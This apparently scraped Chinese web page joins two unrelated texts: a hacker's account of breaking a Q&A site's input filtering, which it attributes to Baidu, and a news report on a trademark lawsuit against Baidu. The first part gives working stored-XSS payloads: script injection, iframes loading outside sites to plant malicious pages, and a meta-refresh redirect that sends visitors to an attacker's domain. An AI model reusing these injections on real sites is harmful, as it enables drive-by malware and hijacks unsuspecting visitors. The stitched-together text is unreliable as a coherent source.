</tr>
<tr valign="top">
<td nowrap class="f14">参考资料:</td>
<td><input name="sn" type="text" size="50" value="http://www.zmke.com<>">
我们输入的二处<>未做任何过滤及转换,仅仅是做了些简单的屏蔽,这很好突破!
再次回到我们回答问题的框框,当然你也可以修改刚才回答的问题,测试代码我们做出这样的处理:
</textarea><script>alert(/lszm QQ:9155658/)</script><textarea>这是内容那的代码,引用网址那我们做出如下构造: "><script>alert(/lszm QQ:9155658/)</script><" 原理还是让标签提前开始与提前结束的原理!
再次提交!
查看我们回答问题的贴子,出现如图所示:
测试一下,跨了二次,二次均完全突破限制!
试过了这个,我们试个挂马代码试试,同样的突破限制的方法,分别如此构造
</textarea><iframe src=http://zmke.com width=555 height=120></iframe><textarea">
"><iframe src=http://bbs.ghkcn.cn width=555 height=120></iframe><"
而后提交!
结果没见到任何效果,再点修改回答,出现如图:
挂马效果是出现了,但能修改这个回答的人只有你一个,似乎利用价值不大,而后我对源码做了好几次改进,结果均突破失败,似乎没办法了。哪位高手如果能够突破这层请回个贴子告诉我哦,嘿!
转换思路再次突破!
难道真的就没有办法了吗?答案是:NO,
这时我想到的转向代码!如果我们将转向后的页面设成我们的挂马网马的页面,同样可以达到相同的效果,于是我做了测试!
输入如下代码:
</textarea><Meta http-equiv="refresh" content="3;url='http://bbs.ghkcn.cn' "><textarea>
提交
再次查看我们的回答,三秒钟后,如图:
瞧开始转向了,马上,百度的页向转向了鬼混客,于是百度被我们成功的XX了!
大众搬场状告百度侵犯商标权
作者:陈姗姗 | 出处:第一财经日报 |
百度网站首次因为侵犯商标权被告上法庭。
昨天,《第一财经日报》获悉,上海大众交通(集团)股份有限公司旗下的上海大众搬场物流有限公司(下称“大众搬场”)5月9日向上海市第二中级人民法院提起诉讼,状告百度网站侵犯商标权。
据记者了解,百度网站被告侵犯商标权,缘于其“竞价排名”和“火爆地带”栏目网页中出现的大量假冒大众搬场名称甚至商标的链接网站。这些链接网站的网页均以与大众搬场相同或近似的法人名称招揽、经营搬场物流业务,并擅自使用大众搬场拥有排他许可使用权的“大众”注册商标。
而实际上,这些假冒大众搬场的经营者均未经上海市工商行政管理部门批准登记,完全不具有经营相关业务和进行广告宣传的主体资格。大众搬场认为百度网站上的上述内容给其正常经营活动造成了极其不利的影响,根据从百度网站上查询的关于“竞价排名”和“火爆地带”的业务介绍,认为该两个栏目属于网络推广的广告方式,百度应属广告发布者。
大众搬场方面认为,注册商标排他许可使用权和法人名称权合法有效,应受法律保护。在百度网站“竞价排名”和“火爆地带”网页中所列的假冒原告的经营者,己明显侵犯原告的民事权利。同时,根据《广告法》第二条和第二十七规定,百度对于所发布的广告负有查验有关证明文件、核实广告内容、不得发布内容不实或者证明文件不全的广告的义务。由于百度显然没有依法履行广告发布者的上述义务,因此其发布侵权广告的行为也对大众搬场构成侵权。
在百度上搜索“大众搬场”,可以搜索到10万余篇相关链接,但大众交通(集团)股份有限公司的律师主任赵思渊告诉记者,以前大众搬场并没有单独的网站,而是链接在大众交通网站之下,因此这些搜索到的链接,都不是真正的“大众搬场”。“百度方面明显没有对相关企业的真实资质做好审核。”
而对于对相关企业的真实资质做审核问题,百度方面昨天没有给出正面回答,只是表示百度一贯高度重视知识产权保护并遵守我国各项知识产权法律法规,并制定了旨在保护知识产权权利人合法权益的措施和步骤。“针对此类事件,任何个人或单位都可以书面方式向百度提交权利通知,百度将根据我国法律法规和政府规范性文件采取措施。针对形式多样的可能威胁企业知识产权的行为,百度公司特设有专门的人员予以接待质疑和查询,并已经与许多信息提供方一道共同处理了多起类似事件。”
据记者了解,上海市第二中级人民法院已立案受理,本案进入法律程序。
























